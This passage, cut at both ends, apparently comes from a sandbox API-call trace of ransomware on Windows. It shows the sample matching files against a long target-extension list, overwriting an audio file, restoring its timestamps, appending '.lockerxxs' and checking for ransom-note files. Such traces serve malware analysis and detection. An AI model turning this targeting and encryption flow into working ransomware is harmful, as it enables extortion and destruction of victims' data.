(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.pptx") returned 0 [0090.684] lstrlenA (lpString="*.pptx") returned 6 [0090.684] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.doc") returned 0 [0090.684] lstrlenA (lpString="*.doc") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.dot") returned 0 [0090.685] lstrlenA (lpString="*.dot") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.docx") returned 0 [0090.685] lstrlenA (lpString="*.docx") returned 6 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.7z") returned 0 [0090.685] lstrlenA (lpString="*.7z") returned 4 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.tar") returned 0 [0090.685] lstrlenA (lpString="*.tar") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.bz2") returned 0 [0090.685] lstrlenA (lpString="*.bz2") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.gz") returned 0 [0090.685] lstrlenA (lpString="*.gz") returned 4 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mkv") returned 0 [0090.685] lstrlenA (lpString="*.mkv") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.eml") returned 0 [0090.685] lstrlenA (lpString="*.eml") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.msg") returned 0 [0090.685] lstrlenA (lpString="*.msg") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.edb") returned 0 [0090.685] lstrlenA (lpString="*.edb") returned 5 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.accdb") returned 0 [0090.685] lstrlenA (lpString="*.accdb") returned 7 [0090.685] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.odb") returned 0 [0090.686] lstrlenA (lpString="*.odb") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.java") returned 0 [0090.686] lstrlenA (lpString="*.java") returned 6 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.asm") returned 0 [0090.686] lstrlenA (lpString="*.asm") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.pfx") returned 0 [0090.686] lstrlenA (lpString="*.pfx") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.pem") returned 0 [0090.686] lstrlenA (lpString="*.pem") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.p12") returned 0 [0090.686] lstrlenA (lpString="*.p12") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.gpg") returned 0 [0090.686] lstrlenA (lpString="*.gpg") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.vsd") returned 0 [0090.686] lstrlenA (lpString="*.vsd") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.odg") returned 0 [0090.686] lstrlenA (lpString="*.odg") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.raw") returned 0 [0090.686] lstrlenA (lpString="*.raw") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.nef") returned 0 [0090.686] lstrlenA (lpString="*.nef") returned 5 [0090.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.svg") returned 0 [0090.687] lstrlenA (lpString="*.svg") returned 5 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.psd") returned 0 [0090.687] lstrlenA (lpString="*.psd") returned 5 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.vmx") returned 0 [0090.687] lstrlenA (lpString="*.vmx") returned 5 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.vmdk") returned 0 [0090.687] lstrlenA (lpString="*.vmdk") returned 6 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.vdi") returned 0 [0090.687] lstrlenA (lpString="*.vdi") returned 5 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.lay6") returned 0 [0090.687] lstrlenA (lpString="*.lay6") returned 6 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mpeg") returned 0 [0090.687] lstrlenA (lpString="*.mpeg") returned 6 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.djvu") returned 0 [0090.687] lstrlenA (lpString="*.djvu") returned 6 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.tiff") returned 0 [0090.687] lstrlenA (lpString="*.tiff") returned 6 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.backup") returned 0 [0090.687] lstrlenA (lpString="*.backup") returned 8 [0090.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.pdf") returned 0 [0090.688] lstrlenA (lpString="*.pdf") returned 5 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.cert") returned 0 [0090.688] lstrlenA (lpString="*.cert") returned 6 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.docm") returned 0 [0090.688] lstrlenA (lpString="*.docm") returned 6 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.xlsm") returned 0 [0090.688] lstrlenA (lpString="*.xlsm") returned 6 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.dwg") returned 0 [0090.688] lstrlenA (lpString="*.dwg") returned 5 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.nd") returned 0 [0090.688] lstrlenA (lpString="*.nd") returned 4 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.tlg") returned 0 [0090.688] lstrlenA (lpString="*.tlg") returned 5 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.lgb") returned 0 [0090.688] lstrlenA (lpString="*.lgb") returned 5 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mov") returned 0 [0090.688] lstrlenA (lpString="*.mov") returned 5 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.xdw") returned 0 [0090.688] lstrlenA (lpString="*.xdw") returned 5 [0090.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.ods") returned 0 [0090.689] lstrlenA (lpString="*.ods") returned 5 [0090.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.wav") returned 0 [0090.689] lstrlenA (lpString="*.wav") returned 5 [0090.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.mp3") returned 0 [0090.689] lstrlenA (lpString="*.mp3") returned 5 [0090.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.aiff") returned 0 [0090.689] lstrlenA (lpString="*.aiff") returned 6 [0090.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.flac") returned 0 [0090.689] lstrlenA (lpString="*.flac") returned 6 [0090.689] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", pszSpec="*.m4a") returned 1 [0090.689] lstrlenA (lpString="*.m4a") returned 5 [0090.689] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" [0090.689] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" [0090.689] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a." [0090.689] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a.lockerxxs" [0090.689] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\7i-t vl1mc5adu5si.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.690] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x169cc [0090.690] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdb816610, dwHighDateTime=0x1d5df61), lpLastAccessTime=0x407536*(dwLowDateTime=0x97c2ea10, dwHighDateTime=0x1d5e28c), lpLastWriteTime=0x40753e*(dwLowDateTime=0x97c2ea10, dwHighDateTime=0x1d5e28c)) returned 1 [0090.691] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.691] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x169a6, lpOverlapped=0x0) returned 1 [0090.693] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a") returned="7i-T VL1mC5aDU5SI.m4a" [0090.694] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.694] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x169a6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x169a6, lpOverlapped=0x0) returned 1 [0090.695] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.695] CloseHandle (hObject=0x90) returned 1 [0090.695] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\7i-t vl1mc5adu5si.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\7i-t vl1mc5adu5si.m4a.lockerxxs")) returned 1 [0090.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea4fd0, ftCreationTime.dwHighDateTime=0x1d5e32c, ftLastAccessTime.dwLowDateTime=0xe0d0fba0, ftLastAccessTime.dwHighDateTime=0x1d5de06, ftLastWriteTime.dwLowDateTime=0xe0d0fba0, ftLastWriteTime.dwHighDateTime=0x1d5de06, nFileSizeHigh=0x0, nFileSizeLow=0xcc1, dwReserved0=0x26000325, dwReserved1=0x4e00c4, cFileName="bPvUWxPGV5DeCQRe 7RG.mp3", cAlternateFileName="BPVUWX~1.MP3")) returned 1 [0090.697] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.697] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bPvUWxPGV5DeCQRe 7RG.mp3") returned 1 [0090.697] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bPvUWxPGV5DeCQRe 7RG.mp3") returned 1 [0090.697] lstrcmpiA (lpString1="", lpString2="bPvUWxPGV5DeCQRe 7RG.mp3") returned -1 [0090.697] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\7i-T VL1mC5aDU5SI.m4a") returned="7i-T VL1mC5aDU5SI.m4a" [0090.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" [0090.698] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\") returned="" [0090.698] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" [0090.698] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\how to decrypt files.txt")) returned 0x20 [0090.698] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\", lpString2="bPvUWxPGV5DeCQRe 7RG.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" [0090.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.ems") returned 0 [0090.698] lstrlenA (lpString="*.ems") returned 5 [0090.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.db") returned 0 [0090.698] lstrlenA (lpString="*.db") returned 4 [0090.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.dbf") returned 0 [0090.698] lstrlenA (lpString="*.dbf") returned 5 [0090.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.myox") returned 0 [0090.698] lstrlenA (lpString="*.myox") returned 6 [0090.698] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.myo") returned 0 [0090.699] lstrlenA (lpString="*.myo") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qbw") returned 0 [0090.699] lstrlenA (lpString="*.qbw") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qbb") returned 0 [0090.699] lstrlenA (lpString="*.qbb") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qbm") returned 0 [0090.699] lstrlenA (lpString="*.qbm") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qbo") returned 0 [0090.699] lstrlenA (lpString="*.qbo") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qbx") returned 0 [0090.699] lstrlenA (lpString="*.qbx") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qba") returned 0 [0090.699] lstrlenA (lpString="*.qba") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qby") returned 0 [0090.699] lstrlenA (lpString="*.qby") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qbj") returned 0 [0090.699] lstrlenA (lpString="*.qbj") returned 5 [0090.699] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.ofx") returned 0 [0090.700] lstrlenA (lpString="*.ofx") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.qif") returned 0 [0090.700] lstrlenA (lpString="*.qif") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mye") returned 0 [0090.700] lstrlenA (lpString="*.mye") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mbox") returned 0 [0090.700] lstrlenA (lpString="*.mbox") returned 6 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.eml") returned 0 [0090.700] lstrlenA (lpString="*.eml") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.pst") returned 0 [0090.700] lstrlenA (lpString="*.pst") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.ost") returned 0 [0090.700] lstrlenA (lpString="*.ost") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 